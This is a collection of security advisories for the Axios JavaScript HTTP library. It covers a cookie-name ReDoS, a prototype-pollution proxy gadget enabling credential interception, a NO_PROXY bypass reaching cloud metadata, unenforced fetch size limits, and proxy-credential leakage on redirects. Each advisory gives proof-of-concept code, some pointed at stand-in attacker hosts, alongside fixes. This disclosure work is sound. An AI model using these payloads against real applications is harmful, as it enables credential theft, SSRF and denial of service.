Summary
Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.
The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.
Impact
Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.
Affected Functionality
Affected code paths:
- lib/helpers/cookies.js read(name) in standard browser environments. - lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config. - lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie. - Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.
Unaffected code paths:
- Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled. - Requests with xsrfCookieName: null. - Node HTTP adapter usage without browser document.cookie. - React Native and web workers where axios does not use standard browser cookie access.
Technical Details
Affected versions interpolate the cookie name into a regex.
js const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.
The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.
Proof of Concept of Attack
js function vulnerableRead(name, cookie) { const start = Date.now();
try { cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); } catch {}
return Date.now() - start; }
for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms); }
Expected result: timings grow rapidly as the cookie string length increases.
Workarounds
Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.
Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.
Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names
<details> <summary>Original Source</summary>
Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
1. Title
ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction
2. Affected Software and Version
- Software: Axios - Version: 1.15.0 (and potentially earlier versions) - Component: lib/helpers/cookies.js - Ecosystem: npm (Node.js / Browser)
3. Vulnerability Type / CWE
- Type: Regular Expression Denial of Service (ReDoS) - CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption
4. CVSS 3.1 Score
Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | |---|---| | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality | None | | Integrity | None | | Availability | High |
5. Description
The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():
javascript const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.
With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.
6. Root Cause Analysis
File: lib/helpers/cookies.js Line: 33
javascript read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; },
The vulnerability exists because:
1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters. 2. An attacker can inject regex constructs that create exponential backtracking scenarios. 3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.
The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:
javascript const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.
7. Proof of Concept
javascript // pocredoscookie.js // Simulates browser environment for testing
// Simulate document.cookie globalThis.document = { cookie: 'session=abc; ' + 'a'.repeat(50) };
// Replicate the vulnerable cookies.read() logic function cookiesRead(name) { const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; }
// Malicious cookie name that triggers catastrophic backtracking // The pattern creates nested quantifiers: (a]|[a]|...)) const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10); const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern
console.log('=== ReDoS via Cookie Name Injection PoC ===');
// Test with increasing payload sizes for (const len of [15, 20, 25]) { const payload = '(([^;])+)+' + 'X'.repeat(len); const start = Date.now(); try { cookiesRead(payload); } catch (e) { // May throw on invalid regex, but valid evil patterns won't throw } const elapsed = Date.now() - start; console.log(Payload length ${len}: ${elapsed}ms); }
// Demonstrating exponential growth with a simple nested quantifier console.log('\n--- Exponential Backtracking Demo ---'); for (const n of [20, 22, 24, 26]) { const evilName = '(' + 'a'.repeat(1) + '+)+$'; const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking globalThis.document = { cookie: testCookie }; const start = Date.now(); try { cookiesRead(evilName); } catch(e) {} const elapsed = Date.now() - start; console.log(Input length ${n}: ${elapsed}ms); }
8. PoC Output
=== ReDoS via Cookie Name Injection PoC === Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms) Payload length 25: ~1,300ms Payload length 30: ~323,675ms (5+ minutes)
--- Exponential Backtracking Demo --- Input length 20: 21ms Input length 22: 84ms Input length 24: 336ms Input length 26: 1,344ms
The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.
9. Impact
- Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page. - Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests. - Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.
10. Remediation / Suggested Fix
Escape all regex metacharacters in the name parameter before constructing the regular expression.
javascript // FIXED: lib/helpers/cookies.js
function escapeRegExp(string) { return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); }
// ...
read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match( new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])') ); return match ? decodeURIComponent(match[1]) : null; },
Alternatively, avoid dynamic regex construction entirely and use string-based parsing:
javascript read(name) { if (typeof document === 'undefined') return null; const cookies = document.cookie.split('; '); for (const cookie of cookies) { const eqIndex = cookie.indexOf('='); if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) { return decodeURIComponent(cookie.substring(eqIndex + 1)); } } return null; },
11. References
- CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption - OWASP: Regular Expression Denial of Service - Axios GitHub Repository </details>
---
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });
3. The Execution
At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );
setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }
4. The Impact (Full MITM)
The attacker's proxy server receives:
http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, /
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
javascript import http from 'http'; import axios from './index.js';
// Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;
// Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port;
// Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } });
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy; realServer.close(); proxyServer.close();
Verified PoC Output
[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" }
[5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
- Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios26)
| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
javascript // In lib/core/mergeConfig.js const config = Object.create(null);
Resources
- CWE-1321: Prototype Pollution - CWE-441: Unintended Proxy - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details lib/helpers/shouldBypassProxy.js (v1.15.0):
javascript const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NOPROXY and is not in LOOPBACKADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC javascript
// NOPROXY=127.0.0.1,localhost,::1 HTTPPROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NOPROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; };
Impact Any application that sets NOPROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
Summary
Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.
This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.
Impact
The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.
This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.
Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.
Affected Functionality
Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.
Relevant configurations include:
- adapter: 'fetch' - adapter: ['fetch', ...] when fetch is selected - environments where neither xhr nor http is available and axios falls back to fetch - custom fetch environments configured through env.fetch
Unaffected functionality includes:
- Node.js default http adapter enforcement - versions before the fetch adapter was introduced - configurations that do not rely on finite axios size limits
Technical Details
In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.
The fix in e5540dc added:
- maxContentLength and maxBodyLength reads in lib/adapters/fetch.js - upfront data: URL decoded-size checks - outbound body-size checks before dispatch - Content-Length response pre-checks - streaming response enforcement - fallback checks for environments without ReadableStream - regression tests in tests/unit/adapters/fetch.test.js
Proof of Concept of Attack
js import http from 'node:http'; import axios from 'axios';
const server = http.createServer((req, res) => { let received = 0;
req.on('data', chunk => { received += chunk.length; });
req.on('end', () => { res.end(JSON.stringify({ received })); }); });
await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/;
await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 });
// Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERRBADREQUEST.
server.close();
Workarounds
Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.
Validate or cap attacker-controlled request bodies before passing them to axios.
Reject or strictly allowlist attacker-controlled URL schemes, especially data: URLs, before calling axios.
<details> <summary>Original Report</summary>
Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.
Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: - lib/adapters/fetch.js (146-160): config destructuring does not include these controls. - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits.
PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0
Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: - adapter: 'fetch' - maxBodyLength: 1024 3. Request a 4 KiB data: URL with: - adapter: 'fetch' - maxContentLength: 16
Expected secure behavior: both requests rejected. Observed: - Upload: success, server received 2097152 - data: response: success, length 4096
Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details>
---
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
- Axios running in Node.js with the HTTP adapter. - An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables. - Redirect following enabled. - A redirect target for which no proxy applies, such as no matching HTTPSPROXY or a matching NOPROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NOPROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;
// The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start');
Expected vulnerable behaviour:
text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz
Expected fixed behaviour:
text Final HTTPS origin receives no Proxy-Authorization header.
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details> <summary>Original Source</summary>
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTPPROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTPPROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Root Cause Analysis
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js: - When a proxy is used, Axios adds Proxy-Authorization in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.
As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
Client Conditions - the initial HTTP request uses an authenticated HTTPPROXY - no proxy applies to the redirected HTTPS URL (for example, no HTTPSPROXY is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer
Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Reproduction Outline
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
- axios 1.13.6 - follow-redirects 1.15.11 - an authenticated proxy applying to the initial HTTP request - no proxy applying to the redirected HTTPS URL - redirects enabled - an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
- The initial HTTP request is sent through the proxy and includes Proxy-Authorization. - The redirected HTTPS request is sent directly to the final origin. - The redirected HTTPS request still includes the previously generated Proxy-Authorization header. - The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.
Expected behavior
Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Impact
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details>
---
Summary
Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.
This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.
Impact
An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.
The most relevant case is a Node.js application using an authenticated HTTPPROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPSPROXY is unset.
This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.
Affected Functionality
Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.
Relevant inputs and settings include:
- HTTPPROXY, HTTPSPROXY, and NOPROXY. - Authenticated proxy URLs such as http://user:pass@proxy.example:8080. - Automatic redirect following through follow-redirects. - Axios proxy handling in setProxy(). - Redirect proxy handling through beforeRedirects.proxy.
Technical Details
In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.
If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.
The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.
Proof of Concept of Attack
js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;
await axios.get('http://attacker.example/start');
Attacker-controlled HTTP endpoint:
http HTTP/1.1 302 Found Location: https://attacker.example/final
Expected result on affected versions:
text https://attacker.example/final receives: Proxy-Authorization: Basic dXNlcjpwYXNz
Expected result on fixed versions:
text https://attacker.example/final receives no Proxy-Authorization header
Workarounds
Set maxRedirects: 0 and handle redirects manually.
Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.
Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.
<details> <summary>Original Source</summary>
